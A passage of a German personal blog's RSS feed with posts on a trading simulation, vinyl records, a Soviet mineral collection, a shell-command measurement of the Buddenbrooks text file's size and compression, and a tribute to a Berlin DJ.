<p>Und Alice hat auf fast wundersame Weise ihre Million verloren, sie ist aber auch nicht ruiniert, sie wird nur so arm wie die Bobs arm sind, sie wird zu einem durchschnittlichen Bob. Im Ranking ist sie aber dennoch auf dem letzten Platz, da sie den größten prozentualen Verlust hat.</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/1-alice-vs-15000-bobs-alice-lost.404x101-cropx9y10-is.png" width="404"><br>
Für das Trading hilft dir diese Erkenntnis aber auch nicht weiter.<br>
Was du mitnehmen kannst: Es ist sehr wahrscheinlich, daß du beim Trading den Gamblers Ruin erleidest. Alice' Strategie ist saudumm, die Strategien der Bobs sind ebenso saudumm, und dennoch gewinnt (fast) immer Alice - einfach nur, weil sie mehr Geld hat.<br>
Ja aber, wirst du jetzt vielleicht denken, du wirst doch nicht so eine saudumme Strategie fahren wie die Bobs und Alice.<br>
Aber das machen die anderen in der realen Welt auch nicht. Jeder hat seine Strategie, eine schlaue, die schlauste, auch Alice, doch in der Summe sind alle Strategien wie Zufall, das sagt die Hypothese der effizienten Märkte. Und selbst unter den Bobs, die saudumm per Zufall ihre Orders plazieren, ist irgendwann einer dabei, der das Glück hat, als Gewinner hervorzugehen.</p>

<p>Probier es aus! Wirf Alice raus und laß 2 Bobs gegeneinander antreten. Einer wird gewinnen, einer geht pleite. Es gewinnt der, der mehr Glück hatte. Probier es mit 10 Bobs. Einer gewinnt, 9 gehen pleite. Nimm 100 Bobs! Einer gewinnt per Zufall, der Rest geht pleite. Aber ab 500 Bobs gewinnt keiner mehr. Die Wahrscheinlichkeit, daß es zu der "glücklichen" Strategie eines einzelnen Bobs nicht einen gibt, der eine Gegenstrategie hat, wird immer geringer.</p>

<p>Wenn du als kleiner Fisch gegen die Big Boys in effizienten Märkten antrittst, gewinnst du allerhöchstens dadurch, daß du Glück hast - nicht aufgrund einer genialen, gebacktesteten Strategie. Und beachte, daß wir hier in unseren kleinen Simulationen nur den klassischen Aktienhandel betrachtet haben - ohne Transaktionskosten, ohne Hebel, ohne Margin, ohne Zinsen - und schon da haben die Kleinen keine Chance.</p>

<p>Zum Abschluß noch ein Bild des Programms im CDE/Motif-Look-and-Feel. Ist das nicht schön?</p>

<p><a href="https://www.uniadmin.de/site/assets/files/4441034/opensesim-cde-motiv.png"><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/opensesim-cde-motiv.678x0-is.png" width="678"></a></p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-02-ein-random-walk-mit-opensesim/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-02-ein-random-walk-mit-opensesim/</guid>
	</item>
	<item>
		<title>Schon wieder Vinyl - Alles Bunt von Martin Goldenbaum</title>
		<description><![CDATA[Jetzt habe ich schon wieder eine Schallplatte gekauft - und das in Zeiten von Digitalisierung, Künstlicher Intelligenz und 2026! Es ist die neueste Scheibe von Martin Goldenbaum mit bestem Deutschen Rock.

Für die 20 Euro hätte ich auch noch die CD dazu bekommen, aber als Martin sie mir geben wollte, sagte ich: Hör mir uff mit die digitale Kacke.

Klar ist Vinyl schlechter, es knistert, es knarzt, es ist umständlich, du kannst nicht mit der Fernbedienung skippen, Vinyl braucht mehr Platz als USB-]]></description>
		<pubDate>Thu, 19 Feb 2026 22:26:43 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p><a href="https://www.uniadmin.de/site/assets/files/4441137/martingo-vinyl-3.jpg"><img alt="" class="align_right" src="https://www.uniadmin.de/site/assets/files/4441137/martingo-vinyl-3.260x0-is.jpg" width="260"></a>Jetzt habe ich schon wieder eine Schallplatte gekauft - und das in Zeiten von Digitalisierung, Künstlicher Intelligenz und 2026! Es ist die neueste Scheibe von <a href="https://www.martingoldenbaum.de/">Martin Goldenbaum</a> mit bestem Deutschen Rock.</p>

<p>Für die 20 Euro hätte ich auch noch die CD dazu bekommen, aber als Martin sie mir geben wollte, sagte ich: Hör mir uff mit die digitale Kacke.</p>

<p>Klar ist Vinyl schlechter, es knistert, es knarzt, es ist umständlich, du kannst nicht mit der Fernbedienung skippen, Vinyl braucht mehr Platz als USB-Sticks oder Cloudspeicher, Vinyl kannst du nicht im Auto hören, aber darum geht es nicht.</p>

<p>Es geht um etwas anderes, das ich gar nicht genau beschreiben kann - <a href="https://www.uniadmin.de/blog/posts/das-lachen-der-cd/">es geht einfach um Vinyl</a>, weil es geil ist, vor allem, wenn auch noch gute Musik drauf ist.</p>

<p style="text-align: center;"><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="315" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/zX4bInlKjPE?si=OZpWoRaOVt-QCRqH" title="YouTube video player" width="100%"></iframe></p>

<p>Und was ist das Schönste im Video? Die Musik? Martin? Oder die Paula mit P90ern? Natürlich die Musik! Sie klingt. Musik braucht keine Bilder. Musik braucht höchstens Vinyl.</p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-02-schon-wieder-vinyl-alles-bunt-von-martin-goldenbaum/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-02-schon-wieder-vinyl-alles-bunt-von-martin-goldenbaum/</guid>
	</item>
	<item>
		<title>Vierzehn Steine der Kola-Halbinsel</title>
		<description><![CDATA[Nachdem ich vor einiger Zeit mal über drei Steine berichtet hatte, will ich das nun mit vierzehn Steinen überbieten.
Im Alter von sieben Jahren habe ich diesen Plexiglaskasten geschenkt bekommen, in dem vierzehn Steine der Kola-Halbinsel eingeschlossen sind:



Mir erschien die Kiste damals wie ein kleines Naturkundemuseum im Taschenformat. Ich konnte die Steine stundenlang betrachten, zwar nicht anfassen, aber über die Muster und den Glanz staunen.]]></description>
		<pubDate>Mon, 16 Feb 2026 21:34:34 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Nachdem ich vor einiger Zeit mal über <a href="https://www.uniadmin.de/blog/posts/drei-steine/">drei Steine</a> berichtet hatte, will ich das nun mit vierzehn Steinen überbieten.<br>
Im Alter von sieben Jahren habe ich diesen Plexiglaskasten geschenkt bekommen, in dem vierzehn Steine der Kola-Halbinsel eingeschlossen sind:</p>

<p><a href="https://www.uniadmin.de/site/assets/files/4440621/vierzehn-steine.jpg"><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4440621/vierzehn-steine.568x0-is.jpg" width="568"></a></p>

<p>Mir erschien die Kiste damals wie ein kleines Naturkundemuseum im Taschenformat. Ich konnte die Steine stundenlang betrachten, zwar nicht anfassen, aber über die Muster und den Glanz staunen. Und an manchen Tagen könnte ich das heute noch tun.</p>

<p>In den 70ern bekamen Kinder in der UdSSR solche Steinsammlungen geschenkt - sowjetischer Kitsch. Russische Auktionsplattformen sind heute voll damit, allerdings ist jede Sammlung ein Unikat.</p>

<p>Und welche Steine sind darin enthalten?<br>
Hier die Übersetzung der Legende:</p>

<p>Nephelin, Urtit, Sphen (Titanit), Tinguait, Schriftgranit, Dolomit, Granit, Amazonit, Sandstein, Gabbro, Hibinit, Amethyst, Serpophit, Quarz.</p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-02-vierzehn-steine/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-02-vierzehn-steine/</guid>
	</item>
	<item>
		<title>Die Vermessung der Buddenbrooks</title>
		<description><![CDATA[Seit Jahresbeginn sind nun sämtliche Werke von Thomas Mann gemeinfrei und mittlerweile auch beim Gutenberg-Projekt für Deutsche IPs abrufbar. Hier zum Beispiel die Buddenbrooks, die, wie ich finde, Thomas Manns bestes Werk sind, ein Jahrhundertroman oder gar ein Jahrtausendroman, für den Thomas Mann, völlig zu Recht, den Literaturnobelpreis erhalten hat.
Thomas Mann selbst allerdings war damit nicht ganz zufrieden, er hätte den Nobelpreis lieber für den Zauberberg erhalten,]]></description>
		<pubDate>Sat, 31 Jan 2026 01:53:35 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p><a href="https://www.uniadmin.de/site/assets/files/4441095/boodenbrooks-mit-messchieber.jpg"><img alt="" class="align_right" src="https://www.uniadmin.de/site/assets/files/4441095/boodenbrooks-mit-messchieber.240x0-is.jpg" width="240"></a>Seit Jahresbeginn sind nun sämtliche Werke von Thomas Mann gemeinfrei und mittlerweile auch beim Gutenberg-Projekt für Deutsche IPs abrufbar. Hier zum Beispiel die <a href="https://www.gutenberg.org/ebooks/34811">Buddenbrooks</a>, die, wie ich finde, Thomas Manns bestes Werk sind, ein Jahrhundertroman oder gar ein Jahrtausendroman, für den Thomas Mann, völlig zu Recht, den Literaturnobelpreis erhalten hat.<br>
Thomas Mann selbst allerdings war damit nicht ganz zufrieden, er hätte den Nobelpreis lieber für den <a href="https://www.gutenberg.org/ebooks/65661">Zauberberg</a> erhalten, weil er dieses Werk für das reifere hielt.<br>
Ich hab beide gelesen, und hätte ich den Nobelpreis vergeben müssen, dann auch für die Buddenbrooks, obgleich der Zauberberg ebenfalls ein außergewöhnliches Buch ist.</p>

<p>Gemein haben die großen Romane von Thomas Mann miteinander, seien es die Buddenbrooks, Doktor Faustus oder der Zauberberg, daß sie ordentliche Wälzer sind, doch die Buddenbrooks zeichnet noch aus, daß viele im Abitur diesen Schinken lesen mußten und das Werk daher kennen, aber aufgrund der Umstände, daß es Pflichtlektüre war, nicht ganz so angenehm in Erinnerung haben.</p>

<p>Gerade deshalb habe ich die Buddenbrooks immer gerne herangezogen, um anderen oder auch mir selbst die Dimensionen von RAM, Festplatten, USB-Sticks oder auch <a href="https://www.uniadmin.de/blog/posts/tag-des-datenvolumens/">Download-Geschwindigkeiten</a> bildhaft vorzuführen. Dabei ging ich immer grob vor, schätzte, die Buddenbrooks brauchen ein Megabyte Speicherplatz, womit ich der Sekretärin, die Mitte der 90er einen einseitigen Brief schreiben und ausdrucken wollte und glaubte, zu wenig RAM zu haben, erklären konnte: Dein PC hat 4 Megabyte RAM, da passen 4 Mal die Buddenbrooks rein, weißt du wie viele Seiten dieser Klopper hat? Über 800 Seiten! Und du willst grade mal eine einzige Seite schreiben. Du hast nicht zu wenig RAM! Anfang der Nuller Jahre waren bald 4 Gigabyte normal, es paßten schon 4000 Buddenbrooks in den RAM, und die Sekretärinnen jammerten immer noch, wenn sie einen einseitigen Brief schreiben und ausdrucken wollten.</p>

<p>Und wie viele Buddenbrooks passen heute auf ein Smartphone?</p>

<p>Ich möchte es nun einmal genauer ausrechnen, lade mir dazu die Buddenbrooks von der Gutenberg-Seite als Textversion herunter und lasse mir die Größe der Datei anzeigen:</p>

<pre>
$ wget -O buddenbrooks.txt -q https://www.gutenberg.org/ebooks/34811.txt.utf-8
$ ls -l buddenbrooks.txt
-rw-r--r--. 1 tube tube 1602358 Jan 30 21:14 buddenbrooks.txt
$</pre>

<p>Die Datei hat 1.602.358 Byte, das sind rund 1564,8 Kilobyte oder 1,528 Megabyte.<br>
Damit es klar ist: Ein Kilobyte (1 KB) sind 1024 Byte und ein Megabyte (1 MB) sind 1024 Kilobyte. Mitte der 90er kamen einige Festplattenhersteller auf die Idee, ihre Festplatten zu "vergrößern", indem sie ein Kilobyte (1 KB) mit 1000 Bytes, sowie ein Megabyte mit 1000 1000er-Kilobyte gleichsetzten und damit "mehr" Speicherkapazität für ihre Platten nennen konnten.<br>
Die Verwirrung, die sie damit angestiftet haben, hält bis heute an und wurde verstärkt durch Leute, die der Verwirrung entgegentreten wollten und sich solch Quatsch wie 1 KiB als Maßeineinheit für 1024 Bytes überlegt haben, was "Kibibyte" ausgesprochen werden soll. Das erinnert eher an einen Fancy Drink, etwas mit Kirsch-Birne, aber nicht an 1024 Byte, also ein Kilobyte.<br>
Was immer sie auch sagen und behaupten, KB sei SI-genormt, was auch immer, ein Kilobyte, 1 KB oder auch 1K, das sind 1024 Bytes.</p>

<p>Da der heruntergeladene Text noch einen Vor- und Nachspann vom Gutenberg-Projekt sowie einige Anmerkungen enthält, öffne ich die Datei mit einem Editor und entferne die Informationen, die nicht zum Roman gehören:</p>

<pre>
$ vi buddenbrooks.txt
# bearbeiten ... bearbeiten ... bearbeiten ... :wq
$ ls -l buddenbrooks.txt
-rw-r--r--. 1 tube tube 1569314 Jan 30 21:21 buddenbrooks.txt
$</pre>

<p>Allein auf den Inhalt von Thomas Mann reduziert, hat die Datei jetzt eine Größe von nur noch rund 1,497 MB.<br>
Allerdings ist das immer noch zu viel, denn die heruntergeladene Datei ist MS-DOS formatiert, enthält also \r\n statt \n für neue Zeilen. Wir konvertieren die Buddenbrooks nach Unix.</p>

<pre>
$ sed -i 's/\r$//' buddenbrooks.txt
</pre>

<p>Weiterhin entfernen wir noch alle '\n\n', womit in dem Dokument Absätze markiert werden, außerdem ersetzen wir ... durch die typografische Ellipse, und '--' , womit im Dokument ein Gedankenstrich gekennzeichnet wird, durch das UTF8-Zeichen für den Gedankenstrich.</p>

<pre>
$ sed -i ':a;N;$!ba;s/\n\n/\n/g' buddenbrooks.txt
$ sed -i 's/\.\.\./…/g' buddenbrooks.txt
$ sed -i 's/--/–/g' buddenbrooks.txt
$ ls -l buddenbrooks.txt
-rw-r--r--. 1 tube tube 1539588 Jan 30 21:35 buddenbrooks.txt
$</pre>

<p>Die Datei hat jetzt nur noch rund 1,468 Megabyte, und wir können einmal die Zeilen zählen:</p>

<pre>
$ cat buddenbrooks.txt | wc -l
23389
$</pre>

<p>Die Datei is mit maximal 80 Zeichen pro Zeile formatiert, soviel bekommt man auch mit einer Schreibmaschine auf eine A4-Seiten-Zeile. Falls Thomas Mann diesen Roman mit einer Schreibmaschine geschrieben hat, hätte er mehr als dreiundzwanzigtausend mal den Wagen zurück geschoben.</p>

<p>Nun wird es noch etwas theoretisch, wir zählen nämlich einmal die Anzahl aller unterschiedlichen Zeichen, die in dem Roman verwendet werden:</p>

<pre>
$ fold -w1 buddenbrooks.txt | sort -u | wc -l
100</pre>

<p>Es sind genau 100 unterschiedliche Zeichen.<br>
Wir können uns diese auch anzeigen lassen:</p>

<pre>
fold -w1 buddenbrooks.txt | sort -u | tr -d '\n'
 !&amp;'()*,-.:;=?_` «´»–…01½¼23456789aAáàäÄbBcCçdDeEéèêfFgGhHiIîjJkKlLmMnNoOöÖpPqQrRsSßtTuUüÜvVwWxXyzZ

</pre>

<p>Und weil es so viel schöner aussieht, hier noch mal sämtliche Zeichen aus den Buddenbrooks zentriert und fett:</p>

<p style="text-align: center;"><strong>!&amp;'()*,-.:;=?_` «´»–…01½¼23456789<br>
aAáàäÄbBcCçdDeEéèêfFgGhHiIîj<br>
JkKlLmMnNoOöÖpPqQrRsSßtTu<br>
UüÜvVwWxXyzZ</strong></p>

<p>Der Grund, daß wir die unterschiedlichen Zeichen gezählt haben ist, daß UTF einige Zeichen in 2 oder mehr Bytes unterbringt und dadurch die Datei unnötig aufbläht. Da für die Buddenbrooks aber nur 100 verschiedene Zeichen benötigt werden, brauchen wir bei geeigneter Kodierung für jedes Zeichen maximal ein Byte.</p>

<p>Zählen wir die Zahl der Zeichen insgesamt, kommen wir auf 1474372 Zeichen.</p>

<pre>
$ fold -w1 buddenbrooks.txt | wc -l
1474372</pre>

<p>Wenn wir für jedes Zeichen also ein Byte verwenden, wäre unsere Datei nur noch rund 1,4 Megabyte groß, allerdings, da es nur 100 verschiedene Zeichen in den Buddenbrooks gibt, könnten wir ein Zeichen bereits in 7 Bits speichern, womit wir nur noch <span class="katex"><math><semantics><mrow><mn>1474372</mn><mo>⋅</mo><mn>7</mn><mi mathvariant="normal">/</mi><mn>8</mn></mrow><annotation encoding="application/x-tex">1474372 \cdot 7/8
</annotation></semantics></math></span>

 Bytes benötigen, also 1290076 Bytes, was etwa 1,23 MB sind.<br>
Würden wir jetzt noch mit <a href="https://en.wikipedia.org/wiki/Variable-length_encoding">längenvariablen Codes</a> arbeiten, indem wir häufig verwendete Buchstaben wie das E oder das R in nur 2 oder 3 Bits kodieren, andere, seltenere Zeichen dafür in 8 Bits, dürften wir wahrscheinlich auf etwa 1 Megabyte kommen. Eine (mathematisch bewiesene) optimale längenvariable Kodierung läßt sich mit dem <a href="https://de.wikipedia.org/wiki/Huffman-Kodierung">Algorithmus von Huffman</a> erreichen, wobei man die längenvariablen Codes nicht auf einzelne Zeichen beschränken muß, man könnte sie auch auf ganze Wörter anwenden.<br>
Machen wir es kurz:</p>

<pre>
$ gzip buddenbrooks.txt
$ ls -l buddenbrooks.txt.gz 
-rw-r--r--. 1 tube tube 607647 Jan 30 22:04 buddenbrooks.txt.gz
$</pre>

<p>Wir können die Buddenbrooks auf rund 593 Kilobyte komprimieren, was auch zu erwarten war, denn 640 Kilobytes should be enough for anyone.</p>

<p>Damit liegen wir also völlig richtig, wenn wir grob für den Alltag annehmen: Zum Speichern der Buddenbrooks wird 1 Megabyte benötigt, je nach Kodierungsart und Kompression.</p>

<p>Damit lassen sich auf einem aktuellen Smartphone, z.B. dem iPhone 17 mit 256 Gigabyte 262144 Buddenbrooks von Thomas Mann unterbringen. So viele Buddenbrooks kannst du heutzutage in deiner Hosentasche mit dir herumtragen.</p>

<p>Und wenn man die Bücher alle übereinander stapeln würde?<br>
Rechnen wir es aus.<br>
Dazu messe ich die Dicke meiner Ausgabe der Buddenbrooks mit dem Meßschieber, was unter Berücksichtgung des Nonius ziemlich genau 4,455 Zentimeter ergibt.<br>
<br>
<a href="https://www.uniadmin.de/site/assets/files/4441095/buddenbrooks-dickenmessung.jpg"><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441095/buddenbrooks-dickenmessung.963x0-is.jpg" width="963"></a></p>

<p>262144 Exemplare davon aufeinander gestapelt, hätten eine Höhe von rund 11,5 Kilometern. (1 Kilometer = 1000 Meter)</p>

<p>So hoch fliegen Passagierflugzeuge, das ist höher als der Mount Everest.<br>
Alles in deiner Hosentasche.</p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-01-die-vermessung-der-buddenbrooks/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-01-die-vermessung-der-buddenbrooks/</guid>
	</item>
	<item>
		<title>DJ Joe Carrera</title>
		<description><![CDATA[Das erste Mal dürfte ich Joe Ende der 90er begegnet sein. Ich denke, es war im &#x00022;Love Digger&#x00022;, einem winzigen Kellerclub in der Auguststraße - Hinterhof, eine halbe Treppe runter, vorn ein Tapeziertisch als Tresen und hinten der DJ mit den Plattenspielern in eine Nische ins Mauerwerk gezwängt. Der Raum, gerade mal so groß wie ein Wohnzimmer, gefüllt mit Menschen, Tanz und Schweiß, Bier und Nikotin, so voll, kaum eine Bewegung möglich, ohne jemanden zu streifen. Dazu Joe Carreras markante Tanzmusik,]]></description>
		<pubDate>Sun, 25 Jan 2026 23:36:16 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Das erste Mal dürfte ich Joe Ende der 90er begegnet sein. Ich denke, es war im "Love Digger", einem winzigen Kellerclub in der Auguststraße - Hinterhof, eine halbe Treppe runter, vorn ein Tapeziertisch als Tresen und hinten der DJ mit den Plattenspielern in eine Nische ins Mauerwerk gezwängt. Der Raum, gerade mal so groß wie ein Wohnzimmer, gefüllt mit Menschen, Tanz und Schweiß, Bier und Nikotin, so voll, kaum eine Bewegung möglich, ohne jemanden zu streifen. Dazu Joe Carreras markante Tanzmusik, größtenteils aus den Sixties - fast außergewöhnlich für die damalige Zeit, in der Drum'n'Bass und Techno die Bars dominierten.<br>
Und dann legte er auch noch <em>Der die das, Wer wie was, Wieso weshalb warum? </em>auf.<br>
Der Keller kochte.</p>

<p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="315" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/Gp4wV_dJXR0?si=Ch10MLg1G4I7irdV" title="YouTube video player" width="100%"></iframe></p>

<p>Das war meine erste Begegnung mit Joe Carrera, die sich musikalisch bei mir eingeprägt hat. Persönlich kennengelernt hatte ich ihn erst später, als er zu den Surfpoeten stieß und für die Musik zwischen unseren Texten sorgte.<br>
Joe strahle immer gute Laune aus, hatte immer ein Lächeln im Gesicht, egal, ob es regnete oder donnerte: Er lächelte, er war die Ruhe selbst, öffnete sein Köfferchen, in dem sich nur Singles befanden, und legte auf. Spät am Abend nach der Show bestieg er, immer noch lächelnd, sein Klapprad, um in der Dunkelheit zu verschwinden und etliche Kilometer heimzuradeln.<br>
Joe war ein außergewöhnlicher Mensch.</p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-01-joe-carrera/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-01-joe-carrera/</guid>
	</item>
</channel>
</rss>